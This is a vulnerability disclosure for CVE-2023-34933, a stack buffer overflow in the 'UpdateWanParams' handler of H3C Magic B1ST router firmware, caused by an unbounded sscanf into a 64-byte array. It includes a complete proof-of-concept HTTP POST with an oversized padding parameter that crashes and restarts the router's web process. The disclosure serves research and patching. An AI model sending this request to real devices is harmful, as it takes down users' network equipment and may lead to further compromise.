CVE-2023-34933: vuln/H3C_B1STW/CVE-2023-34933.md at main · h4kuy4/vuln

Overview

Vendor: H3C Product: Magic B1ST Version: H3C_Magic_B1STV100R012 Type: Stack Overflow

Vulnerability

In route/goform/aspForm, the value of the key CMD is UpdateWanParams, the program will go into the following handling function. First it get the value of the key param, then use sscanf to copy the the value of param to a array v27 on the stack. In this function, the length of param is limited to 511 Bytes，but v27 only have 64 Byte. Also, the parameter %s of sscanf didn’t limit the copy length.

PoC

POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Content-Length: 665 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.124.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://192.168.124.1/wan_new.asp?refresh=yes?refreshFlag=Tue%20Jun%2006%202023%2015:20:40%20GMT+0800%20(China%20Standard%20Time) Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PSWMOBILEFLAG=true; USERLOGINIDFLAG=; LOGIN_PSD_REM_FLAG= Connection: close

CMD=UpdateWanParams&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Result

the process webs restart